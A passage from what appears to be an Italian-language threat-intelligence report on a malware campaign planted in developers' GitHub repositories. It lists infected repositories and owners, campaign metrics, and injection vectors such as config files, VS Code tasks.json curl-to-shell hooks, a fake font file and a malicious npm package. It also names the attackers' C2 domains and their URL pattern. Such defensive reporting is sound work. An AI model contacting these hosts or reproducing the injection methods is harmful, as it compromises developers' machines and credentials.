piattaforma Eventi e Attività, costruito con Next.js 14 e Tailwind CSS. Questa applicazione offre un'esperienza senza interruzioni per gli utenti per scoprire eventi, per gli host per gestire i loro annunci e per gli amministratori per supervisionare la piattaforma. | | | 273 | fareed-aslam/capitalkv | fareed-aslam | User | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | | | 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | User | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | | | 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | User | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | | | 277 | manuel-spec/another-portfolio | manuel-spec | User | 0 | 0 | 1 | postcss.config.mjs | | | | 278 | kasunwathsala/Nextjs-Protfolio | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Un sito portfolio vivace, moderno e completamente reattivo costruito con Next.js 14, TypeScript e Tailwind CSS. Caratterizzato da splendidi design con gradienti, animazioni fluide e un'interfaccia colorata che mostra i tuoi progetti e le tue competenze in modo accattivante. | | | 279 | shayanwd/vts-nextjs | shayanwd | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 280 | JudeTejada/reactly | JudeTejada | User | 0 | 0 | 1 | apps/web/postcss.config.mjs | | | | 281 | fyunusa/video-tool | fyunusa | User | 0 | 0 | 1 | postcss.config.mjs | | | | 282 | TranDoanKhoe/Velvere | TranDoanKhoe | User | 0 | 0 | 5 | src/components_bonus/my-tab/postcss.config.mjs | src/components_bonus/my-app/postcss.config.mjs | src/components_bonus/my-select/postcss.config.mjs | src/components_bonus/my-button/postcss.config.mjs | src/components_bonus/my-calendar/postcss.config.mjs | | | | 283 | cywasay/leaders | cywasay | User | 0 | 0 | 1 | leaders-admin/postcss.config.mjs | | | | 284 | TimothyBabatu13/TokenMind | TimothyBabatu13 | User | 0 | 0 | 1 | token-mind/postcss.config.mjs | Smart AI brain for tokens | | | 285 | shani-techv1/source-app-v2 | shani-techv1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 286 | Mfahadk99/syssel-web-internal | Mfahadk99 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 287 | Nathanim1919/time-lens | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 288 | addis-ale/wetruck-shipper | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 289 | Romicha935/image-gallery | Romicha935 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 290 | Ali-Hamas/Todo-App | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 291 | MohamedH1000/philadelphia_university | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 292 | saifullah-max/surfchem | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 293 | ahnaafarafee/bionic-seven | ahnaafarafee | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | Sito web ufficiale di Bionic 7 - Gruppo 7 di Ingegneria Biomedica dell'Università Islamica. | | | 294 | malirazaansari/Protfolio_project | malirazaansari | User | 0 | 0 | 1 | postcss.config.mjs | Il mio portfolio personale | | | 295 | ayanmal1k/DragoPump | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | Sito web token Solana | | | 296 | Shumaim-Naseer-Kiyani/framer_project | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 297 | prosigns/dex-data-aggregation | prosigns | User | 0 | 0 | 1 | postcss.config.mjs | | | | 298 | MrSohaibAhmed/interview-assessment | MrSohaibAhmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 299 | roma2023/Snoonu | roma2023 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 300 | Mohsin-Javed48/nextjs-witd-oasis | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 301 | kasunwathsala/Caramel-Pudding-web | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Una piattaforma e-commerce premium per la vendita di budino al caramello costruita con Next.js e shadcn/ui. Offre un'esperienza di acquisto completa con catalogo prodotti, carrello, checkout e design reattivo. Pronta per l'integrazione dei pagamenti e lo scaling con il proprio database backend. | | | 302 | mahadi-zulfiker/crm | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Un sistema di gestione delle assunzioni full-stack basato sui ruoli progettato per semplificare i flussi di lavoro di assunzione per organizzazioni e team HR. | | | 303 | humayun506034/ReviewHub-Client | humayun506034 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 304 | brianonbased-dev/BaseAppShop | brianonbased-dev | User | 0 | 0 | 1 | postcss.config.mjs | Brian Shopify store for Base App | | | 305 | sanjay10985/lead-generation-landing-page | sanjay10985 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 306 | Rahulkumarhavit/finance-advisor | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 307 | ayanmal1k/Sol-Market | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | | | | 308 | Mohsin-Javed48/dresscode-nextjs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 309 | Hriday-paul/anyjob-wellcome | Hriday-paul | User | 0 | 0 | 1 | postcss.config.mjs | | | | 310 | a-belard/rayyan | a-belard | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 311 | kasunwathsala/Service-marketplace | kasunwathsala | User | 0 | 0 | 1 | navbar-vite (3)/postcss.config.mjs | Un'applicazione web full-stack completa che collega i clienti con i fornitori di servizi in diverse categorie, inclusi servizi giornalieri, lavoro basato su contratti e opportunità part-time. | | | 312 | kasunwathsala/saloon-booking-system | kasunwathsala | User | 0 | 0 | 1 | salon-booking-system/postcss.config.mjs | Un sito web moderno e reattivo per la prenotazione di saloni costruito con Next.js e React. Questo sistema completo di gestione del salone di bellezza include elenchi di servizi, profili dei parrucchieri, prenotazione in più passaggi, testimonianze dei clienti e gestione dei contatti. | | | 313 | Nathanim1919/becoming | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 314 | Adithyahewage/portfolio_website | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | | | | 315 | Ali-Hamas/Website-Todo | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 316 | MohamedH1000/Mersal | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 317 | MohamedH1000/cruise | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 318 | kasunwathsala/portfolio-2026 | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 319 | mahadi-zulfiker/SpaceZee | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sito web live | | | 320 | mahadi-zulfiker/REPLIQ-Limited-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Link live | | | 321 | ahmadraza382/E-commerce-website | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 322 | Rahulkumarhavit/carmarket-place | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 323 | Rahulkumarhavit/Nextjs-productivity | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 324 | tanushka1726/react_next | tanushka1726 | User | 0 | 0 | 1 | postcss.config.mjs | Reader Website è un'applicazione web moderna e reattiva costruita con Next.js e TypeScript, progettata per mostrare ed esplorare libri con un'esperienza utente fluida. Presenta routing dinamico, componenti riutilizzabili ed è completamente distribuita per l'accesso pubblico. Ideale per lettori, appassionati di libri o piattaforme di contenuti che cercano una lettura interattiva. | | | 325 | Sameer447/O2_app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 326 | dmytro-chushko/portfolio-dev-dc | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | | | | 327 | Axxi3/ladyfoxx | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 328 | Vladyslav0060/autopartner | Vladyslav0060 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 329 | PremShakti/jewelry-kiosk | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 330 | theeurbanlegend/Hackathon-Submission | theeurbanlegend | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 331 | SouravDn-p/NextManager-YourInventory-Manager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager Un sistema di gestione dell'inventario full-stack costruito con Next.js 14 App Router, Tailwind CSS, MongoDB e Redux Toolkit (RTK Query). Questa app supporta sia l'autenticazione sociale tramite NextAuth.js (Google, GitHub) che il login tradizionale con email/password utilizzando JWT. | | | 332 | abdullah2310ishaq/zeebuddy | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 333 | JudeTejada/project-monitoring | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 334 | salwaaliakbar/my-portfolio | salwaaliakbar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 335 | abdullah2310ishaq/company | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 336 | wahab3913/kalibar-manger1 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 337 | ninjadevhub/Flood-Risk-Mapper | ninjadevhub | User | 0 | 0 | 1 | postcss.config.mjs | | | | 338 | trobits/trobits-frontend | trobits | User | 0 | 0 | 1 | postcss.config.mjs | | | | 339 | Shumaim-Naseer-Kiyani/ai_landing_page | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 340 | ChiraniSiriwardhana/Portfolio | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 341 | carrantal/frontend | carrantal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 342 | Nathanim1919/atlas | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 343 | asadullah-kazmi/syncspace | asadullah-kazmi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | Una piattaforma di collaborazione in tempo reale costruita con Next.js, WebSockets e CRDT (Yjs), che consente l'editing di documenti multi-utente con sincronizzazione dello stato senza conflitti e aggiornamenti a bassa latenza. | | | 344 | usman-174/form-pdf | usman-174 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 345 | evenwalser/FinalPaperclipPro | evenwalser | User | 0 | 0 | 1 | postcss.config.mjs | For Hetal to move to Paperclip Vercel | | | 346 | huzzy12/portfolio | huzzy12 | User | 0 | 0 | 1 | postcss.config.mjs | Il mio sito web portfolio | | | 347 | Sameer447/my-app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 348 | wahab3913/kalibar | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 349 | sybotstackdev/Portfolio | sybotstackdev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 350 | NEERAJ131124/pisync-fe | NEERAJ131124 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 351 | RazaAkmal/frontend-test | RazaAkmal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 352 | kasunwathsala/Loomistore | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 353 | um8r/bridge-master-fyp | um8r | User | 0 | 0 | 1 | postcss.config.mjs | | | | 354 | RathodDeven/danz-web | RathodDeven | User | 0 | 0 | 1 | postcss.config.mjs | | | | 355 | Gowreesh-VT/OnlyFoundersV2 | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 356 | garrycha/test-job | garrycha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 357 | wasi2320/ctk-new | wasi2320 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 358 | sayyamButt317/hire-with-tess-frontend | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 359 | Al-amin07/bigso_app | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 360 | shermuhammad786/gs-hackathon | shermuhammad786 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 361 | smit455/big_bazaar-store | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 362 | jbaze/borec-basket-claude | jbaze | User | 0 | 0 | 1 | postcss.config.mjs | | | | 363 | Al-amin07/project-9-client | Al-amin07 | User | 0 | 0 | 3 | postcss.config.mjs | tailwind.config.js | eslint.config.mjs | | | | 364 | farihulrouf/orcx_fe | farihulrouf | User | 0 | 0 | 1 | postcss.config.mjs | | | | 365 | wahab3913/kalibar-m2 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 366 | finom/realtime-kanban | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 367 | rejoan121615/heritage-trial-overlay | rejoan121615 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 368 | Ruwanima/Portfolio | Ruwanima | User | 0 | 0 | 1 | postcss.config.mjs | | | | 369 | Lithira-Sasmitha/social_app | Lithira-Sasmitha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 370 | coderkhalide/selorax-canvas | coderkhalide | User | 0 | 0 | 1 | apps/canvas-v2/postcss.config.mjs | | | | 371 | Button-20/juzbuild-background-processor | Button-20 | User | 0 | 0 | 1 | templates/homely/postcss.config.mjs | | | | 372 | Muhammadfaizanjanjua109/frammerMotion | Muhammadfaizanjanjua109 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 373 | AHAdd40451/task-sheet | AHAdd40451 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 374 | zaheerahmad92001/pettro | zaheerahmad92001 | User | 0 | 0 | 1 | postcss.config.mjs | pettro per amanti degli animali domestici | | | 375 | MahadA456/mahad-portfolio | MahadA456 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 376 | Joyeta-Mondal/Sparktech-Agency-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 377 | webprogramminghack/b3-practice-31 | webprogramminghack | User | 0 | 0 | 1 | postcss.config.mjs | | | | 378 | Adithyahewage/Salon-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Progetto demo per un cliente del salone | | | 379 | akashstwt/eth-global-cryptowiki | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 380 | Gowreesh-VT/AWS-Web-Dev | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 381 | dynamicdreamz1/startup-voyager | dynamicdreamz1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 382 | farhanmasood-se/live-docs | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | | | | 383 | dmytro-chushko/form-editor | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | Un'applicazione Next.js per creare, pubblicare e raccogliere invii per moduli personalizzati. Include un'area amministrativa autenticata con editor drag-and-drop e un'esperienza di modulo pubblica. | | | 384 | Sameer447/launchpad-incubator-backend | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 385 | SouravDn-p/Advance-HealthCare-Next-Level-of-Smarter-Better-Health | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Servizio sanitario avanzato || Una piattaforma sanitaria digitale all-in-one completa che offre consultazioni online, cartelle cliniche sicure, e-prescrizioni, valutazione intelligente dei sintomi e assistenza personalizzata al paziente — tutto da un'unica esperienza web senza interruzioni. | | | 386 | SouravDn-p/Scribe-AI-Powered-Note-Taking-App | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 387 | SouravDn-p/multi-form-transaction | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Una piattaforma demo per transazioni brevi | | | 388 | SouravDn-p/authjs-next-authentications | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 389 | abdullah2310ishaq/qudrat | abdullah2310ishaq | User | 0 | 0 | 1 | admin-panel/postcss.config.mjs | | | | 390 | SouravDn-p/PathFinder---Smarter-Admissions-Simpler-Bookings | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | PathFinder – Ammissioni più intelligenti, prenotazioni più semplici Un'app Next.js full-stack per le prenotazioni di ammissioni universitarie. Le funzionalità includono ricerca universitaria, moduli di ammissione, recensioni, gestione del profilo e autenticazione basata su JWT. | | | 391 | abdullah2310ishaq/resposive-doctor-websote | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 392 | abdullah2310ishaq/ecommerce_jewellery_store | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 393 | Al-amin07/pioneer | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 394 | smit455/big_bazaar-admin | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 395 | smit455/Task_manager | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 396 | dhruvmalik007/Stratavault | dhruvmalik007 | User | 0 | 0 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | applicazione per l'invio a Ethglobal Hackmoney 2026: costruire la piattaforma di esperienza degli agenti per investire senza sforzo nei mercati di previsione. | | | 397 | finom/blok | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 398 | rejoan121615/website-generator | rejoan121615 | User | 0 | 0 | 1 | packages/dashboard/postcss.config.mjs | | | | 399 | abdullah2310ishaq/personal-portfolio | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 400 | Joyeta-Mondal/arklab-ai-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 401 | Adithyahewage/Gym-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Progetto demo per un cliente della palestra | | | 402 | Gowreesh-VT/VITopoly | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 403 | farhanmasood-se/slack-clone | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | Collabora con il tuo team utilizzando messaggistica in tempo reale, editing di testo ricco e supporto emoji in questa app simile a Slack costruita con Next.js, Convex e Shadcn UI. | | | 404 | Socheema/clot | Socheema | User | 0 | 0 | 1 | postcss.config.mjs | Acquista i migliori prodotti di moda con Clot | | | 405 | Shumaim-Naseer-Kiyani/project1 | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 406 | Muhammad-Hammad-Abbasi/next.js-hackathon | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | hackathon di web design figma. | | | 407 | Germs31/small-traslator-ai | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 408 | prudywn/GrowthProject | prudywn | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 409 | FaizaFarooq23/photo-gallery | FaizaFarooq23 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 410 | dbankston2409/Sober-Deck | dbankston2409 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 411 | mahadi-zulfiker/Nextjs-Prisma-Portfolio-Frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sito web live | | | 412 | seemab-ahmed/blockdag | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 413 | abdullah2310ishaq/zee-admin | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 414 | lnbglondoncoin/lnbglondon | lnbglondoncoin | User | 0 | 0 | 1 | postcss.config.mjs | | | | 415 | ahmadraza382/Ferrano | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 416 | JPChoyon/bikeBotics | JPChoyon | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 417 | Anas-Ali-3673/caa-interface | Anas-Ali-3673 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 418 | akashstwt/fleek | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 419 | wolfstudiosai/havocker | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 420 | mdemong87/theamfisher-assignment | mdemong87 | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 421 | eftakhar-491/L-2_B-6-Assignment-4-frontend | eftakhar-491 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 422 | mohsulthana/yc-directory-nextjs | mohsulthana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 423 | deepaksh798/dashboard-second | deepaksh798 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 424 | mahadi-zulfiker/Hishabee_Frontend_Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sito live | | | 425 | Ibraz94/inventory_management_system | Ibraz94 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 426 | mdnuruzzamannirob/your-capture-awards | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 427 | Germs31/expense-tracking | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 428 | Adharshms/builder | Adharshms | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 429 | Nathanim1919/Avaitor-game | Nathanim1919 | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 430 | saifullah-max/Navo-1 | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 431 | kanchana404/web | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 432 | kanchana404/kaidenz-clothing | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 433 | Muhammad-Hammad-Abbasi/persnol_portfolio_2 | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | portfolio personale | | | 434 | Salman1205/MailAssists-CRM | Salman1205 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 435 | SouravDn-p/Innovative-task-sd246 | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Un sito web taskEarn | | | 436 | mahadi-zulfiker/PH-Job-Task-Web-Instructor | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sito web live | | | 437 | mahadi-zulfiker/Raintor-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sito web live | | | 438 | mahadi-zulfiker/SparkTech-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Sito live | | | 439 | seemab-ahmed/oradentclinic-website | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 440 | AhmadRazaKhokhar1/url-shortner-frontend | AhmadRazaKhokhar1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 441 | nipun-imesh/Fly-connects-web-FN | nipun-imesh | User | 0 | 0 | 1 | tailwind.config.js | | | | 442 | Barosz30/Portfolio | Barosz30 | User | 0 | 0 | 1 | tailwind.config.js | | | | 443 | web-ghoul/movie-app | web-ghoul | User | 0 | 0 | 1 | tailwind.config.js | | | | 444 | Dawit212119/DMS | Dawit212119 | User | 0 | 0 | 1 | client/tailwind.config.js | Nextjs,express,prisma | | | 445 | Al-amin07/project_4_frontend | Al-amin07 | User | 0 | 0 | 1 | tailwind.config.js | | | | 446 | zeeshanrafiqrana/metropolis-arena-frontend | zeeshanrafiqrana | User | 0 | 0 | 1 | tailwind.config.js | Mappa interattiva dei posti a sedere per eventi Metropolis Arena — Compito da svolgere a casa per il front-end. | | | 447 | Wasee-Ur-Rehman/DarziXpress | Wasee-Ur-Rehman | User | 0 | 0 | 1 | client/tailwind.config.js | Servizio online di sartoria e alterazione di abbigliamento. | | | 448 | Flitzinteractive/FlitzSpace | Flitzinteractive | User | 0 | 0 | 1 | client/tailwind.config.js | | | | 449 | addygeek/Walmart-Inventory-Clearance-Optimizer | addygeek | User | 0 | 0 | 1 | frontend/tailwind.config.js | Dashboard intelligente per la gestione dell'inventario e delle scadenze per negozi al dettaglio come Walmart — rileva, traccia e ottimizza gli articoli in saldo con punteggio di urgenza e accesso basato sui ruoli. | | | 450 | Iambilalfaisal/Portfolio | Iambilalfaisal | User | 0 | 0 | 1 | tailwind.config.js | Il mio portfolio | | | 451 | malikjunaidhassann/updated-calcos-frontend | malikjunaidhassann | User | 0 | 0 | 1 | tailwind.config.js | | | | 452 | SimalChaudhari/plusfive | SimalChaudhari | User | 0 | 0 | 1 | tailwind.config.js | plusfive | | | 453 | Hassam-01/Forsit-task | Hassam-01 | User | 0 | 0 | 1 | tailwind.config.js | | | | 454 | shahvezjumani/chat_app | shahvezjumani | User | 0 | 0 | 1 | tailwind.config.js | | | | 455 | hunain25/QuickFistAid | hunain25 | User | 0 | 0 | 1 | tailwind.config.js | | | | 456 | cyhammad/rapid-appliances-repairs | cyhammad | User | 0 | 0 | 1 | tailwind.config.js | | | | 457 | MohamedH1000/ethaq_ecommerce_admin | MohamedH1000 | User | 0 | 0 | 1 | tailwind.config.js | | | | 458 | acanaveras/autonomous_5g_slicing | acanaveras | User | 0 | 0 | 1 | NeMo-Agent-Toolkit-UI/tailwind.config.js | Nuovo repository per la risoluzione dei problemi. | | | 459 | Gethmi-Rathnayaka/Aventude | Gethmi-Rathnayaka | User | 0 | 0 | 1 | session001-fe/tailwind.config.js | | | | 460 | Atik203/My-Anime-Client | Atik203 | User | 0 | 0 | 1 | tailwind.config.js | | | | 461 | lihiniapsara/Spotify-Clone | lihiniapsara | User | 0 | 0 | 1 | tailwind.config.js | | | | 462 | dhruvmalik007/small-case_preEthDelhi | dhruvmalik007 | User | 0 | 0 | 1 | apps/web/tailwind.config.js | invio per l'hackathon EthGlobal Delhi | | | 463 | jbaze/Eli-rfq-system | jbaze | User | 0 | 0 | 1 | rfq-app/tailwind.config.js | | | | 464 | DamikaDeshan/FaceDetectionClient | DamikaDeshan | User | 0 | 0 | 1 | tailwind.config.js | | |
| Metrica | 8 marzo (iniziale) | 11 aprile (ultimo) | Δ |
|---|
| Repository unici infetti | 675 | 1.951 | +1.276 |
| Proprietari unici colpiti | 352 | 1.047 | +695 |
| — Utenti individuali | 305 | ~930 | +625 |
| — Organizzazioni | 47 | ~117 | +70 |
| Varianti distinte di offuscamento osservate | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| Vettori di iniezione distinti confermati | 1 (file di configurazione) | 4 (file di configurazione, .vscode/tasks.json, falso font .woff2, dipendenza npm dannosa) | +3 |
| Sottodomini C2 distinti documentati | 1 (260120.vercel.app) | 6+ (vedi Infrastruttura C2) | +5 |
| Modelli take-home weaponizzati conosciuti | 0 | 2+ (ShoeVista, StakingGame) | +2 |
L'attore minaccioso sta reinfettando le vittime precedenti. Almeno un repo vittima (HassanHabibTahir/testclient) contiene marcatori di ENTRAMBE le varianti in file diversi, indicando che gli strumenti dell'attore stanno rieseguendo contro host precedentemente compromessi e iniettando il nuovo offuscatore.
PolinRider e TasksJacker si sono fusi operativamente. Abbiamo ora prove dirette che lo stesso attore minaccioso sta eseguendo sia l'iniezione nei file di configurazione sia il vettore di infezione .vscode/tasks.json curl-to-shell contro la stessa popolazione di vittime. 22 delle 101 vittime dello script di propagazione temp_auto_push.bat hanno anche file .vscode/tasks.json dannosi, e sono stati identificati molteplici progetti modello take-home / fake-interview weaponizzati — vedi Modelli Take-Home Weaponizzati sotto. OSM sta consolidando i due cluster sotto #polinrider in futuro.
Identificati due progetti di test take-home weaponizzati: ShoeVista (una falsa valutazione e-commerce Tailwind che include il dannoso tailwindcss-style-animate ^1.1.6 in client/package.json) e StakingGame (un falso progetto di automazione blockchain / VS Code identificato dall'UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 in tasks.json). Almeno 46 + 42 sviluppatori hanno tentato questi test e sono stati compromessi. Parte del playbook di attrazione Contagious Interview.
Scoperti cinque nuovi sottodomini C2 utilizzati nei payload .vscode/tasks.json curl | bash, tutti ospitati su Vercel:
default-configuration.vercel.app (più usato, ~106 riferimenti vittima)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.appTutti seguono il pattern https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Aggiunti alla sezione Infrastruttura C2.
OSM ha inviato 821 nuovi report di minacce durante questa caccia di due giorni, portando il totale delle voci OSM PolinRider a ~1.700. Ripartizione per variante degli 821 invii: 591 variante originale (rmcej%otb%), 113 solo propagazione (temp_auto_push.bat), 45 malicious_npm (cluster ShoeVista/devhire), 27 tasksjacker, 1 nuova variante (Cot%3t=shtP), 44 altri.
Identificati nuovi pivot di ricerca ad alto rendimento che trovano vittime anche quando il payload JS è stato ripulito. I più forti sono filename:temp_auto_push.bat (101 risultati confermati dannosi, 100% di tasso di veri positivi) e "default-configuration.vercel.app" (106 hit). Il tasso di falsi positivi del campione su 44 verifiche casuali era 0%. Vedi Metodologia di raffinamento sotto.
Confermato un nuovo vettore di iniezione: almeno una vittima (AgbaD/odoo) ha il payload JS offuscato nascosto in un file di font .woff2 (public/fonts/fa-solid-400.woff2) che viene eseguito tramite Node — confermando che la campagna utilizza molteplici vettori di iniezione contro lo stesso bersaglio.
Nessuna terza variante di offuscamento trovata. L'esplorazione esaustiva dei marcatori global['?'], combinazioni di semi, pattern strutturali, letterali IOC, e tag sequenziali '8-stN' da 1 a 200 (tramite regex di Sourcegraph) non ha prodotto prove di una terza variante oltre le due già documentate. Il lotto di nuove varianti dell'attore è limitato a 8-st1..8-st59 (con 21 numeri sequenziali mancanti dall'indice di Sourcegraph).
